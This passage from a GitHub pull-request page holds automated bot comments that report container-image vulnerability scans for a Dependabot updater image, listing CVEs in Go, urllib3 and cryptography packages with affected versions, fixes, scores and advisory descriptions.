        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
